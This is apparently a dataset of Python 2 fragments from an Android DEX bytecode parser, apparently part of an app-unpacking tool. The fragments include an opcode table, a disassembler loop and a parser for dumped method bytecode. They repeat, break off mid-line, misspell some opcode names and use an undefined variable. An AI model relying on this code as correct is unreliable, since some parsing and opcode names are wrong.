'fmt23x', FMT23X, 2), 157: (0x9d, 'mul-long', 'fmt23x', FMT23X, 2), 158: (0x9e, 'div-long', 'fmt23x', FMT23X, 2), 159: (0x9f, 'rem-long', 'fmt23x', FMT23X, 2), 160: (0xa0, 'and-long', 'fmt23x', FMT23X, 2), 161: (0xa1, 'or-long', 'fmt23x', FMT23X, 2), 162: (0xa2, 'xor-long', 'fmt23x', FMT23X, 2), 163: (0xa3, 'shl-long', 'fmt23x', FMT23X, 2), 164: (0xa4, 'shr-long', 'fmt23x', FMT23X, 2), 165: (0xa5, 'ushr-long', 'fmt23x', FMT23X, 2), 166: (0xa6, 'add-float', 'fmt23x', FMT23X, 2), 167: (0xa7, 'sub-float', 'fmt23x', FMT23X, 2), 168: (0xa8, 'mul-float', 'fmt23x', FMT23X, 2), 169: (0xa9, 'div-float', 'fmt23x', FMT23X, 2), 170: (0xaa, 'rem-float', 'fmt23x', FMT23X, 2), 171: (0xab, 'add-double', 'fmt23x', FMT23X, 2), 172: (0xac, 'sub-double', 'fmt23x', FMT23X, 2), 173: (0xad, 'mul-double', 'fmt23x', FMT23X, 2), 174: (0xae, 'div-double', 'fmt23x', FMT23X, 2), 175: (0xaf, 'rem-double', 'fmt23x', FMT23X, 2), 176: (0xb0, 'add-int/2addr', 'fmt12x', FMT12X, 1), 177: (0xb1, 'sub-int/2addr', 'fmt12x', FMT12X, 1), 178: (0xb2, 'mul-int/2addr', 'fmt12x', FMT12X, 1), 179: (0xb3, 'div-int/2addr', 'fmt12x', FMT12X, 1), 180: (0xb4, 'rem-int/2addr', 'fmt12x', FMT12X, 1), 181: (0xb5, 'and-int/2addr', 'fmt12x', FMT12X, 1), 182: (0xb6, 'or-int/2addr', 'fmt12x', FMT12X, 1), 183: (0xb7, 'xor-int/2addr', 'fmt12x', FMT12X, 1), 184: (0xb8, 'shl-int/2addr', 'fmt12x', FMT12X, 1), 185: (0xb9, 'shr-int/2addr', 'fmt12x', FMT12X, 1), 186: (0xba, 'ushr-int/2addr', 'fmt12x', FMT12X, 1), 187: (0xbb, 'add-long/2addr', 'fmt12x', FMT12X, 1), 188: (0xbc, 'sub-long/2addr', 'fmt12x', FMT12X, 1), 189: (0xbd, 'mul-long/2addr', 'fmt12x', FMT12X, 1), 190: (0xbe, 'div-long/2addr', 'fmt12x', FMT12X, 1), 191: (0xbf, 'rem-long/2addr', 'fmt12x', FMT12X, 1), 192: (0xc0, 'and-long/2addr', 'fmt12x', FMT12X, 1), 193: (0xc1, 'or-long/2addr', 'fmt12x', FMT12X, 1), 194: (0xc2, 'xor-long/2addr', 'fmt12x', FMT12X, 1), 195: (0xc3, 'shl-long/2addr', 'fmt12x', FMT12X, 1), 196: (0xc4, 'shr-long/2addr', 'fmt12x', FMT12X, 1), 197: (0xc5, 'ushr-long/2addr', 'fmt12x', FMT12X, 1), 198: (0xc6, 'add-float/2addr', 'fmt12x', FMT12X, 1), 199: (0xc7, 'sub-float/2addr', 'fmt12x', FMT12X, 1), 200: (0xc8, 'mul-float/2addr', 'fmt12x', FMT12X, 1), 201: (0xc9, 'div-float/2addr', 'fmt12x', FMT12X, 1), 202: (0xca, 'rem-float/2addr', 'fmt12x', FMT12X, 1), 203: (0xcb, 'add-double/2addr', 'fmt12x', FMT12X, 1), 204: (0xcc, 'sub-double/2addr', 'fmt12x', FMT12X, 1), 205: (0xcd, 'mul-double/2addr', 'fmt12x', FMT12X, 1), 206: (0xce, 'div-double/2addr', 'fmt12x', FMT12X, 1), 207: (0xcf, 'rem-double/2addr', 'fmt12x', FMT12X, 1), 208: (0xd0, 'add-int/lit16', 'fmt22s', FMT22S, 2), 209: (0xd1, 'rsub-int', 'fmt22s', FMT22S, 2), 210: (0xd2, 'mul-int/lit16', 'fmt22s', FMT22S, 2), 211: (0xd3, 'div-int/lit16', 'fmt22s', FMT22S, 2), 212: (0xd4, 'rem-int/lit16', 'fmt22s', FMT22S, 2), 213: (0xd5, 'and-int/lit16', 'fmt22s', FMT22S, 2), 214: (0xd6, 'or-int/lit16', 'fmt22s', FMT22S, 2), 215: (0xd7, 'xor-int/lit16', 'fmt22s', FMT22S, 2), 216: (0xd8, 'add-int/lit8', 'fmt22b', FMT22B, 2), 217: (0xd9, 'rsub-int/lit8', 'fmt22b', FMT22B, 2), 218: (0xda, 'mul-int/lit8', 'fmt22b', FMT22B, 2), 219: (0xdb, 'div-int/lit8', 'fmt22b', FMT22B, 2), 220: (0xdc, 'rem-int/lit8', 'fmt22b', FMT22B, 2), 221: (0xdd, 'and-int/lit8', 'fmt22b', FMT22B, 2), 222: (0xde, 'or-int/lit8', 'fmt22b', FMT22B, 2), 223: (0xdf, 'xor-int/lit8', 'fmt22b', FMT22B, 2), 224: (0xe0, 'shl-int/lit8', 'fmt22b', FMT22B, 2), 225: (0xe1, 'shr-int/lit8', 'fmt22b', FMT22B, 2), 226: (0xe2, 'ushr-int/lit8', 'fmt22b', FMT22B, 2), 227: (0xe3, 'unused', 'fmt10x', FMT10X, 1), 228: (0xe4, 'unused', 'fmt10x', FMT10X, 1), 229: (0xe5, 'unused', 'fmt10x', FMT10X, 1), 230: (0xe6, 'unused', 'fmt10x', FMT10X, 1), 231: (0xe7, 'unused', 'fmt10x', FMT10X, 1), 232: (0xe8, 'unused', 'fmt10x', FMT10X, 1), 233: (0xe9, 'unused', 'fmt10x', FMT10X, 1), 234: (0xea, 'unused', 'fmt10x', FMT10X, 1), 235: (0xeb, 'unused', 'fmt10x', FMT10X, 1), 236: (0xec, 'unused', 'fmt10x', FMT10X, 1), 237: (0xed, 'unused', 'fmt10x', FMT10X, 1), 238: (0xee, 'unused', 'fmt10x', FMT10X, 1), 239: (0xef, 'unused', 'fmt10x', FMT10X, 1), 240: (0xf0, 'unused', 'fmt10x', FMT10X, 1), 241: (0xf1, 'unused', 'fmt10x', FMT10X, 1), 242: (0xf2, 'unused', 'fmt10x', FMT10X, 1), 243: (0xf3, 'unused', 'fmt10x', FMT10X, 1), 244: (0xf4, 'unused', 'fmt10x', FMT10X, 1), 245: (0xf5, 'unused', 'fmt10x', FMT10X, 1), 246: (0xf6, 'unused', 'fmt10x', FMT10X, 1), 247: (0xf7, 'unused', 'fmt10x', FMT10X, 1), 248: (0xf8, 'unused', 'fmt10x', FMT10X, 1), 249: (0xf9, 'unused', 'fmt10x', FMT10X, 1), 250: (0xfa, 'unused', 'fmt10x', FMT10X, 1), 251: (0xfb, 'unused', 'fmt10x', FMT10X, 1), 252: (0xfc, 'unused', 'fmt10x', FMT10X, 1), 253: (0xfd, 'unused', 'fmt10x', FMT10X, 1), 254: (0xfe, 'unused', 'fmt10x', FMT10X, 1), 255: (0xff, 'unused', 'fmt10x', FMT10X, 1), } import getopt def parse_instruction(buffer, offset, dex_object): n = len(buffer) start = 0 while start < n: if n == 1736: print "start = %d" % start op = ord(buffer[start]) if op == 0: type = ord(buffer[start + 1]) if type == 1: size, = struct.unpack_from("H", buffer, 2 + start) start += (size * 2 + 4) * 2 continue elif type == 2: size, = struct.unpack_from("H", buffer, 2 + start) start += (size * 4 + 2) * 2 continue elif type == 3: width, = struct.unpack_from("H", buffer, 2 + start) size, = struct.unpack_from("I", buffer, 4 + start) # width,size,=struct.unpack_from("HI",buffer,2+start) start += (8 + ((size * width + 1) / 2) * 2) continue val = func_point[dex_decode[op][3]](buffer[start:], dex_object, offset + start, start / 2) str = "" m = 0 for x in buffer[start:start + 2 * val[0]]: str += "%02x" % ord(x) m += 1 if m % 2 == 0: str += " " print "%08x: %-36s |%04x:" % (offset + start, str, start / 2), m = 0 for v in val[1:]: if m > 1: print ",", print v, m += 1 print "" start += 2 * val[0]
null
17,392
import sys import struct import array import base64 import re func_point = [parse_FMT10T, parse_FMT10X, parse_FMT11N, parse_FMT11X, parse_FMT12X, parse_FMT20T, parse_FMT21C, parse_FMT21H, parse_FMT21S, parse_FMT21T, parse_FMT22B, parse_FMT22C, parse_FMT22S, parse_FMT22T, parse_FMT22X, parse_FMT23X, parse_FMT30T, parse_FMT31C, parse_FMT31I, parse_FMT31T, parse_FMT32X, parse_FMT35C, parse_FMT3RC, parse_FMT51L] dex_decode = { 0: (0x00, 'nop', 'fmt10x', FMT10X, 1), 1: (0x01, 'move', 'fmt12x', FMT12X, 1), 2: (0x02, 'move/from16', 'fmt22x', FMT22X, 2), 3: (0x03, 'move/16', 'fmt32x', FMT32X, 3), 4: (0x04, 'move-wide', 'fmt12x', FMT12X, 1), 5: (0x05, 'move-wide/from16', 'fmt22x', FMT22X, 2), 6: (0x06, 'move-wide/16', 'fmt32x', FMT32X, 3), 7: (0x07, 'move-object', 'fmt12x', FMT12X, 1), 8: (0x08, 'move-object/from16', 'fmt22x', FMT22X, 2), 9: (0x09, 'move-object/16', 'fmt32x', FMT32X, 3), 10: (0x0a, 'move-result', 'fmt11x', FMT11X, 1), 11: (0x0b, 'move-result-wide', 'fmt11x', FMT11X, 1), 12: (0x0c, 'move-result-object', 'fmt11x', FMT11X, 1), 13: (0x0d, 'move-exception', 'fmt11x', FMT11X, 1), 14: (0x0e, 'return-void', 'fmt10x', FMT10X, 1), 15: (0x0f, 'return', 'fmt11x', FMT11X, 1), 16: (0x10, 'return-wide', 'fmt11x', FMT11X, 1), 17: (0x11, 'return-object', 'fmt11x', FMT11X, 1), 18: (0x12, 'const/4', 'fmt11n', FMT11N, 1), 19: (0x13, 'const/16', 'fmt21s', FMT21S, 2), 20: (0x14, 'const', 'fmt31i', FMT31I, 3), 21: (0x15, 'const/high16', 'fmt21h', FMT21H, 2), 22: (0x16, 'const-wide/16', 'fmt21s', FMT21S, 2), 23: (0x17, 'const-wide/32', 'fmt31i', FMT31I, 3), 24: (0x18, 'const-wide', 'fmt51l', FMT51L, 5), 25: (0x19, 'const-wide/high16', 'fmt21h', FMT21H, 2), 26: (0x1a, 'const-string', 'fmt21c', FMT21C, 2), 27: (0x1b, 'const-string/jumbo', 'fmt31c', FMT31C, 3), 28: (0x1c, 'const-class', 'fmt21c', FMT21C, 2), 29: (0x1d, 'monitor-enter', 'fmt11x', FMT11X, 1), 30: (0x1e, 'monitor-exit', 'fmt11x', FMT11X, 1), 31: (0x1f, 'check-cast', 'fmt21c', FMT21C, 2), 32: (0x20, 'instance-of', 'fmt22c', FMT22C, 2), 33: (0x21, 'array-length', 'fmt12x', FMT12X, 1), 34: (0x22, 'new-instance', 'fmt21c', FMT21C, 2), 35: (0x23, 'new-array', 'fmt22c', FMT22C, 2), 36: (0x24, 'filled-new-array', 'fmt35c', FMT35C, 3), 37: (0x25, 'filled-new-array/range', 'fmt3rc', FMT3RC, 3), 38: (0x26, 'fill-array-data', 'fmt31t', FMT31T, 3), 39: (0x27, 'throw', 'fmt11x', FMT11X, 1), 40: (0x28, 'goto', 'fmt10t', FMT10T, 1), 41: (0x29, 'goto/16', 'fmt20t', FMT20T, 2), 42: (0x2a, 'goto/32', 'fmt30t', FMT30T, 3), 43: (0x2b, 'packed-switch', 'fmt31t', FMT31T, 3), 44: (0x2c, 'sparse-switch', 'fmt31t', FMT31T, 3), 45: (0x2d, 'cmpl-float', 'fmt23x', FMT23X, 2), 46: (0x2e, 'cmpg-float', 'fmt23x', FMT23X, 2), 47: (0x2f, 'cmpl-double', 'fmt23x', FMT23X, 2), 48: (0x30, 'cmpg-double', 'fmt23x', FMT23X, 2), 49: (0x31, 'cmp-long', 'fmt23x', FMT23X, 2), 50: (0x32, 'if-eq', 'fmt22t', FMT22T, 2), 51: (0x33, 'if-ne', 'fmt22t', FMT22T, 2), 52: (0x34, 'if-lt', 'fmt22t', FMT22T, 2), 53: (0x35, 'if-ge', 'fmt22t', FMT22T, 2), 54: (0x36, 'if-gt', 'fmt22t', FMT22T, 2), 55: (0x37, 'if-le', 'fmt22t', FMT22T, 2), 56: (0x38, 'if-eqz', 'fmt21t', FMT21T, 2), 57: (0x39, 'if-nez', 'fmt21t', FMT21T, 2), 58: (0x3a, 'if-ltz', 'fmt21t', FMT21T, 2), 59: (0x3b, 'if-gez', 'fmt21t', FMT21T, 2), 60: (0x3c, 'if-gtz', 'fmt21t', FMT21T, 2), 61: (0x3d, 'if-lez', 'fmt21t', FMT21T, 2), 62: (0x3e, 'unused', 'fmt10x', FMT10X, 1), 63: (0x3f, 'unused', 'fmt10x', FMT10X, 1), 64: (0x40, 'unused', 'fmt10x', FMT10X, 1), 65: (0x41, 'unused', 'fmt10x', FMT10X, 1), 66: (0x42, 'unused', 'fmt10x', FMT10X, 1), 67: (0x43, 'unused', 'fmt10x', FMT10X, 1), 68: (0x44, 'aget', 'fmt23x', FMT23X, 2), 69: (0x45, 'aget-wide', 'fmt23x', FMT23X, 2), 70: (0x46, 'aget-object', 'fmt23x', FMT23X, 2), 71: (0x47, 'aget-boolean', 'fmt23x', FMT23X, 2), 72: (0x48, 'aget-byte', 'fmt23x', FMT23X, 2), 73: (0x49, 'aget-char', 'fmt23x', FMT23X, 2), 74: (0x4a, 'aget-short', 'fmt23x', FMT23X, 2), 75: (0x4b, 'aput', 'fmt23x', FMT23X, 2), 76: (0x4c, 'aput-wide', 'fmt23x', FMT23X, 2), 77: (0x4d, 'aput-object', 'fmt23x', FMT23X, 2), 78: (0x4e, 'aput-boolean', 'fmt23x', FMT23X, 2), 79: (0x4f, 'aput-byte', 'fmt23x', FMT23X, 2), 80: (0x50, 'aput-shar', 'fmt23x', FMT23X, 2), 81: (0x51, 'aput-short', 'fmt23x', FMT23X, 2), 82: (0x52, 'iget', 'fmt22c', FMT22C, 2), 83: (0x53, 'iget-wide', 'fmt22c', FMT22C, 2), 84: (0x54, 'iget-object', 'fmt22c', FMT22C, 2), 85: (0x55, 'iget-boolean', 'fmt22c', FMT22C, 2), 86: (0x56, 'iget-byte', 'fmt22c', FMT22C, 2), 87: (0x57, 'iget-char', 'fmt22c', FMT22C, 2), 88: (0x58, 'iget-short', 'fmt22c', FMT22C, 2), 89: (0x59, 'iput', 'fmt22c', FMT22C, 2), 90: (0x5a, 'iput-wide', 'fmt22c', FMT22C, 2), 91: (0x5b, 'iput-object', 'fmt22c', FMT22C, 2), 92: (0x5c, 'iput-boolean', 'fmt22c', FMT22C, 2), 93: (0x5d, 'iput-byte', 'fmt22c', FMT22C, 2), 94: (0x5e, 'iput-char', 'fmt22c', FMT22C, 2), 95: (0x5f, 'iput-short', 'fmt22c', FMT22C, 2), 96: (0x60, 'sget', 'fmt21c', FMT21C, 2), 97: (0x61, 'sget-wide', 'fmt21c', FMT21C, 2), 98: (0x62, 'sget-object', 'fmt21c', FMT21C, 2), 99: (0x63, 'sget-boolean', 'fmt21c', FMT21C, 2), 100: (0x64, 'sget-byte', 'fmt21c', FMT21C, 2), 101: (0x65, 'sget-char', 'fmt21c', FMT21C, 2), 102: (0x66, 'sget-short', 'fmt21c', FMT21C, 2), 103: (0x67, 'sput', 'fmt21c', FMT21C, 2), 104: (0x68, 'sput-wide', 'fmt21c', FMT21C, 2), 105: (0x69, 'sput-object', 'fmt21c', FMT21C, 2), 106: (0x6a, 'sput-boolean', 'fmt21c', FMT21C, 2), 107: (0x6b, 'sput-byte', 'fmt21c', FMT21C, 2), 108: (0x6c, 'sput-char', 'fmt21c', FMT21C, 2), 109: (0x6d, 'sput-short', 'fmt21c', FMT21C, 2), 110: (0x6e, 'invoke-virtual', 'fmt35c', FMT35C, 3), 111: (0x6f, 'invoke-super', 'fmt35c', FMT35C, 3), 112: (0x70, 'invoke-direct', 'fmt35c', FMT35C, 3), 113: (0x71, 'invoke-static', 'fmt35c', FMT35C, 3), 114: (0x72, 'invoke-insterface', 'fmt35c', FMT35C, 3), 115: (0x73, 'unused', 'fmt10x', FMT10X, 1), 116: (0x74, 'invoke-virtual/range', 'fmt3rc', FMT3RC, 3), 117: (0x75, 'invoke-super/range', 'fmt3rc', FMT3RC, 3), 118: (0x76, 'invoke-direct/range', 'fmt3rc', FMT3RC, 3), 119: (0x77, 'invoke-static/range', 'fmt3rc', FMT3RC, 3), 120: (0x78, 'invoke-interface/range', 'fmt3rc', FMT3RC, 3), 121: (0x79, 'unused', 'fmt10x', FMT10X, 1), 122: (0x7a, 'unused', 'fmt10x', FMT10X, 1), 123: (0x7b, 'neg-int', 'fmt12x', FMT12X, 1), 124: (0x7c, 'not-int', 'fmt12x', FMT12X, 1), 125: (0x7d, 'neg-long', 'fmt12x', FMT12X, 1), 126: (0x7e, 'not-long', 'fmt12x', FMT12X, 1), 127: (0x7f, 'neg-float', 'fmt12x', FMT12X, 1), 128: (0x80, 'neg-double', 'fmt12x', FMT12X, 1), 129: (0x81, 'int-to-long', 'fmt12x', FMT12X, 1), 130: (0x82, 'int-to-float', 'fmt12x', FMT12X, 1), 131: (0x83, 'int-to-double', 'fmt12x', FMT12X, 1), 132: (0x84, 'long-to-int', 'fmt12x', FMT12X, 1), 133: (0x85, 'long-to-float', 'fmt12x', FMT12X, 1), 134: (0x86, 'long-to-double', 'fmt12x', FMT12X, 1), 135: (0x87, 'float-to-int', 'fmt12x', FMT12X, 1), 136: (0x88, 'float-to-long', 'fmt12x', FMT12X, 1), 137: (0x89, 'float-to-double', 'fmt12x', FMT12X, 1), 138: (0x8a, 'double-to-int', 'fmt12x', FMT12X, 1), 139: (0x8b, 'double-to-long', 'fmt12x', FMT12X, 1), 140: (0x8c, 'double-to-float', 'fmt12x', FMT12X, 1), 141: (0x8d, 'int-to-byte', 'fmt12x', FMT12X, 1), 142: (0x8e, 'int-to-char', 'fmt12x', FMT12X, 1), 143: (0x8f, 'int-to-short', 'fmt12x', FMT12X, 1), 144: (0x90, 'add-int', 'fmt23x', FMT23X, 2), 145: (0x91, 'sub-int', 'fmt23x', FMT23X, 2), 146: (0x92, 'mul-int', 'fmt23x', FMT23X, 2), 147: (0x93, 'div-int', 'fmt23x', FMT23X, 2), 148: (0x94, 'rem-int', 'fmt23x', FMT23X, 2), 149: (0x95, 'and-int', 'fmt23x', FMT23X, 2), 150: (0x96, 'or-int', 'fmt23x', FMT23X, 2), 151: (0x97, 'xor-int', 'fmt23x', FMT23X, 2), 152: (0x98, 'shl-int', 'fmt23x', FMT23X, 2), 153: (0x99, 'shr-int', 'fmt23x', FMT23X, 2), 154: (0x9a, 'ushr-int', 'fmt23x', FMT23X, 2), 155: (0x9b, 'add-long', 'fmt23x', FMT23X, 2), 156: (0x9c, 'sub-long', 'fmt23x', FMT23X, 2), 157: (0x9d, 'mul-long', 'fmt23x', FMT23X, 2), 158: (0x9e, 'div-long', 'fmt23x', FMT23X, 2), 159: (0x9f, 'rem-long', 'fmt23x', FMT23X, 2), 160: (0xa0, 'and-long', 'fmt23x', FMT23X, 2), 161: (0xa1, 'or-long', 'fmt23x', FMT23X, 2), 162: (0xa2, 'xor-long', 'fmt23x', FMT23X, 2), 163: (0xa3, 'shl-long', 'fmt23x', FMT23X, 2), 164: (0xa4, 'shr-long', 'fmt23x', FMT23X, 2), 165: (0xa5, 'ushr-long', 'fmt23x', FMT23X, 2), 166: (0xa6, 'add-float', 'fmt23x', FMT23X, 2), 167: (0xa7, 'sub-float', 'fmt23x', FMT23X, 2), 168: (0xa8, 'mul-float', 'fmt23x', FMT23X, 2), 169: (0xa9, 'div-float', 'fmt23x', FMT23X, 2), 170: (0xaa, 'rem-float', 'fmt23x', FMT23X, 2), 171: (0xab, 'add-double', 'fmt23x', FMT23X, 2), 172: (0xac, 'sub-double', 'fmt23x', FMT23X, 2), 173: (0xad, 'mul-double', 'fmt23x', FMT23X, 2), 174: (0xae, 'div-double', 'fmt23x', FMT23X, 2), 175: (0xaf, 'rem-double', 'fmt23x', FMT23X, 2), 176: (0xb0, 'add-int/2addr', 'fmt12x', FMT12X, 1), 177: (0xb1, 'sub-int/2addr', 'fmt12x', FMT12X, 1), 178: (0xb2, 'mul-int/2addr', 'fmt12x', FMT12X, 1), 179: (0xb3, 'div-int/2addr', 'fmt12x', FMT12X, 1), 180: (0xb4, 'rem-int/2addr', 'fmt12x', FMT12X, 1), 181: (0xb5, 'and-int/2addr', 'fmt12x', FMT12X, 1), 182: (0xb6, 'or-int/2addr', 'fmt12x', FMT12X, 1), 183: (0xb7, 'xor-int/2addr', 'fmt12x', FMT12X, 1), 184: (0xb8, 'shl-int/2addr', 'fmt12x', FMT12X, 1), 185: (0xb9, 'shr-int/2addr', 'fmt12x', FMT12X, 1), 186: (0xba, 'ushr-int/2addr', 'fmt12x', FMT12X, 1), 187: (0xbb, 'add-long/2addr', 'fmt12x', FMT12X, 1), 188: (0xbc, 'sub-long/2addr', 'fmt12x', FMT12X, 1), 189: (0xbd, 'mul-long/2addr', 'fmt12x', FMT12X, 1), 190: (0xbe, 'div-long/2addr', 'fmt12x', FMT12X, 1), 191: (0xbf, 'rem-long/2addr', 'fmt12x', FMT12X, 1), 192: (0xc0, 'and-long/2addr', 'fmt12x', FMT12X, 1), 193: (0xc1, 'or-long/2addr', 'fmt12x', FMT12X, 1), 194: (0xc2, 'xor-long/2addr', 'fmt12x', FMT12X, 1), 195: (0xc3, 'shl-long/2addr', 'fmt12x', FMT12X, 1), 196: (0xc4, 'shr-long/2addr', 'fmt12x', FMT12X, 1), 197: (0xc5, 'ushr-long/2addr', 'fmt12x', FMT12X, 1), 198: (0xc6, 'add-float/2addr', 'fmt12x', FMT12X, 1), 199: (0xc7, 'sub-float/2addr', 'fmt12x', FMT12X, 1), 200: (0xc8, 'mul-float/2addr', 'fmt12x', FMT12X, 1), 201: (0xc9, 'div-float/2addr', 'fmt12x', FMT12X, 1), 202: (0xca, 'rem-float/2addr', 'fmt12x', FMT12X, 1), 203: (0xcb, 'add-double/2addr', 'fmt12x', FMT12X, 1), 204: (0xcc, 'sub-double/2addr', 'fmt12x', FMT12X, 1), 205: (0xcd, 'mul-double/2addr', 'fmt12x', FMT12X, 1), 206: (0xce, 'div-double/2addr', 'fmt12x', FMT12X, 1), 207: (0xcf, 'rem-double/2addr', 'fmt12x', FMT12X, 1), 208: (0xd0, 'add-int/lit16', 'fmt22s', FMT22S, 2), 209: (0xd1, 'rsub-int', 'fmt22s', FMT22S, 2), 210: (0xd2, 'mul-int/lit16', 'fmt22s', FMT22S, 2), 211: (0xd3, 'div-int/lit16', 'fmt22s', FMT22S, 2), 212: (0xd4, 'rem-int/lit16', 'fmt22s', FMT22S, 2), 213: (0xd5, 'and-int/lit16', 'fmt22s', FMT22S, 2), 214: (0xd6, 'or-int/lit16', 'fmt22s', FMT22S, 2), 215: (0xd7, 'xor-int/lit16', 'fmt22s', FMT22S, 2), 216: (0xd8, 'add-int/lit8', 'fmt22b', FMT22B, 2), 217: (0xd9, 'rsub-int/lit8', 'fmt22b', FMT22B, 2), 218: (0xda, 'mul-int/lit8', 'fmt22b', FMT22B, 2), 219: (0xdb, 'div-int/lit8', 'fmt22b', FMT22B, 2), 220: (0xdc, 'rem-int/lit8', 'fmt22b', FMT22B, 2), 221: (0xdd, 'and-int/lit8', 'fmt22b', FMT22B, 2), 222: (0xde, 'or-int/lit8', 'fmt22b', FMT22B, 2), 223: (0xdf, 'xor-int/lit8', 'fmt22b', FMT22B, 2), 224: (0xe0, 'shl-int/lit8', 'fmt22b', FMT22B, 2), 225: (0xe1, 'shr-int/lit8', 'fmt22b', FMT22B, 2), 226: (0xe2, 'ushr-int/lit8', 'fmt22b', FMT22B, 2), 227: (0xe3, 'unused', 'fmt10x', FMT10X, 1), 228: (0xe4, 'unused', 'fmt10x', FMT10X, 1), 229: (0xe5, 'unused', 'fmt10x', FMT10X, 1), 230: (0xe6, 'unused', 'fmt10x', FMT10X, 1), 231: (0xe7, 'unused', 'fmt10x', FMT10X, 1), 232: (0xe8, 'unused', 'fmt10x', FMT10X, 1), 233: (0xe9, 'unused', 'fmt10x', FMT10X, 1), 234: (0xea, 'unused', 'fmt10x', FMT10X, 1), 235: (0xeb, 'unused', 'fmt10x', FMT10X, 1), 236: (0xec, 'unused', 'fmt10x', FMT10X, 1), 237: (0xed, 'unused', 'fmt10x', FMT10X, 1), 238: (0xee, 'unused', 'fmt10x', FMT10X, 1), 239: (0xef, 'unused', 'fmt10x', FMT10X, 1), 240: (0xf0, 'unused', 'fmt10x', FMT10X, 1), 241: (0xf1, 'unused', 'fmt10x', FMT10X, 1), 242: (0xf2, 'unused', 'fmt10x', FMT10X, 1), 243: (0xf3, 'unused', 'fmt10x', FMT10X, 1), 244: (0xf4, 'unused', 'fmt10x', FMT10X, 1), 245: (0xf5, 'unused', 'fmt10x', FMT10X, 1), 246: (0xf6, 'unused', 'fmt10x', FMT10X, 1), 247: (0xf7, 'unused', 'fmt10x', FMT10X, 1), 248: (0xf8, 'unused', 'fmt10x', FMT10X, 1), 249: (0xf9, 'unused', 'fmt10x', FMT10X, 1), 250: (0xfa, 'unused', 'fmt10x', FMT10X, 1), 251: (0xfb, 'unused', 'fmt10x', FMT10X, 1), 252: (0xfc, 'unused', 'fmt10x', FMT10X, 1), 253: (0xfd, 'unused', 'fmt10x', FMT10X, 1), 254: (0xfe, 'unused', 'fmt10x', FMT10X, 1), 255: (0xff, 'unused', 'fmt10x', FMT10X, 1), } import getopt def parseMyinstruction(buffer, offset, dex_object): n = len(buffer) start = 0 while start < n: if n == 1736: print "start = %d" % start op = ord(buffer[start]) if op == 0: type = ord(buffer[start + 1]) if type == 1: size, = struct.unpack_from("H", buffer, 2 + start) start += (size * 2 + 4) * 2 continue elif type == 2: size, = struct.unpack_from("H", buffer, 2 + start) start += (size * 4 + 2) * 2 continue elif type == 3: width, = struct.unpack_from("H", buffer, 2 + start) size, = struct.unpack_from("I", buffer, 4 + start) # width,size,=struct.unpack_from("HI",buffer,2+start) start += (8 + ((size * width + 1) / 2) * 2) continue val = func_point[dex_decode[op][3]](buffer[start:], dex_object, offset + start, start / 2) str = "" m = 0 for x in buffer[start:start + 2 * val[0]]: str += "%02x" % ord(x) m += 1 if m % 2 == 0: str += " " print "%08x: %-36s |%04x:" % (offset + start, str, start / 2), m = 0 for v in val[1:]: if m > 1: print ",", print v, m += 1 print "" start += 2 * val[0]
null
17,393
import sys import struct import array insfilename ="722044_ins.bin" import base64 import re methodTable={} class CodeItem: def __init__(self,number,methodname, inssize,insarray): import getopt def parseinsfile(): global insfilename insfile=open(insfilename) content=insfile.read() insfile.close() #;{name:artMethod::dumpmethod DexFile_dumpDexFile' # dexfile name:classes.dex-- # insfilepath:/data/data/com.wlqq/10668484_ins.bin-- # code_item_len:40, # code_item_len:40, # ins:AgABAAIAAABLnY4ADAAAACIAFwNwEPoOAABuIP4OEAAMAR8BFwMRAQ==}; insarray=re.findall(r"{name:(.*?),method_idx:(.*?),offset:(.*?),code_item_len:(.*?),ins:(.*?)}",content) #(.*?)最短匹配 for eachins in insarray: methodname=eachins[0].replace(" ","") number=(int)(eachins[1]) offset=(int)(eachins[2]) inssize=int(eachins[3]) ins=eachins[4] tempmethod=CodeItem(number,methodname,inssize,ins) methodTable[number]=tempmethod #添加method
null
17,394
import sys import struct import array import base64 import re def get_uleb128(content): value = 0 if len(content) < 5: for i in xrange(0, len(content)): tmp = ord(content[i]) & 0x7f value = tmp << (i * 7) | value if (ord(content[i]) & 0x80) != 0x80: break elif len(content) == 5: for i in xrange(0, 5): tmp = ord(content[i]) & 0x7f value = tmp << (i * 7) | value if (ord(content[i]) & 0x80) != 0x80: break elif len(content) > 5: for i in xrange(0, 5): tmp = ord(content[i]) & 0x7f value = tmp << (i * 7) | value if (ord(content[i]) & 0x80) != 0x80: break if i == 4 and (tmp & 0xf0) != 0: print "parse a error uleb128 number" return -1 return i + 1, value def get_encoded_value_size(content): offset = 0 arg_type, = struct.unpack_from("B",content,offset) offset+=struct.calcsize("B") value_arg = arg_type>>5 value_type = arg_type &0x1f if value_type in [0x2,3,4,6,0x10,0x11,0x17,0x18,0x19,0x1a,0x1b]: offset += (value_arg+1) elif value_type == 0: offset += 1 elif value_type == 0x1e or value_type == 0x1f: offset += 0 elif value_type == 0x1d: offset += get_encoded_annotation_size(content[offset:]) elif value_type == 0x1c: m,asize = get_uleb128(m_content[offset:offset+5]) offset += m for q in xrange(0,asize): offset += get_encoded_value_size(content[offset:]) else: print "***************error parse encode_value**************" return offset def get_encoded_value_size(content): offset = 0 arg_type, = struct.unpack_from("B",content,offset) offset+=struct.calcsize("B") value_arg = arg_type>>5 value_type = arg_type &0x1f if value_type in [0x2,3,4,6,0x10,0x11,0x17,0x18,0x19,0x1a,0x1b]: offset += (value_arg+1) elif value_type == 0: offset += 1 elif value_type == 0x1e or value_type == 0x1f: offset += 0 elif value_type == 0x1d: offset += get_encoded_annotation_size(content[offset:]) elif value_type == 0x1c: m,asize = get_uleb128(m_content[offset:5+offset]) offset += m for q in xrange(0,asize): offset += get_encoded_value_size(content[offset:]) else: print "***************error parse encode_value**************" return offset import getopt def get_static_offset(content,index): offset = 0 m,size = get_uleb128(content[offset:offset+5]) if index >= size: return -1 offset += m for i in xrange(0,index): offset += get_encoded_value_size(content[offset:]) return offset
null
17,395
import sys import struct import array import base64 import re def get_uleb128p1(content): n, value = get_uleb128(content) value -= 1 return n, value def get_uleb128(content): value = 0 if len(content) < 5: for i in xrange(0, len(content)): tmp = ord(content[i]) & 0x7f value = tmp << (i * 7) | value if (ord(content[i]) & 0x80) != 0x80: break elif len(content) == 5: for i in xrange(0, 5): tmp = ord(content[i]) & 0x7f value = tmp << (i * 7) | value if (ord(content[i]) & 0x80) != 0x80: break elif len(content) > 5: for i in xrange(0, 5): tmp = ord(content[i]) & 0x7f value = tmp << (i * 7) | value if (ord(content[i]) & 0x80) != 0x80: break if i == 4 and (tmp & 0xf0) != 0: print "parse a error uleb128 number" return -1 return i + 1, value import getopt def parse_debug_info_method_parameter_list(dex_object,offset): parameter_list = [] n ,current_line = get_uleb128(dex_object.m_content[offset:offset+5]) offset 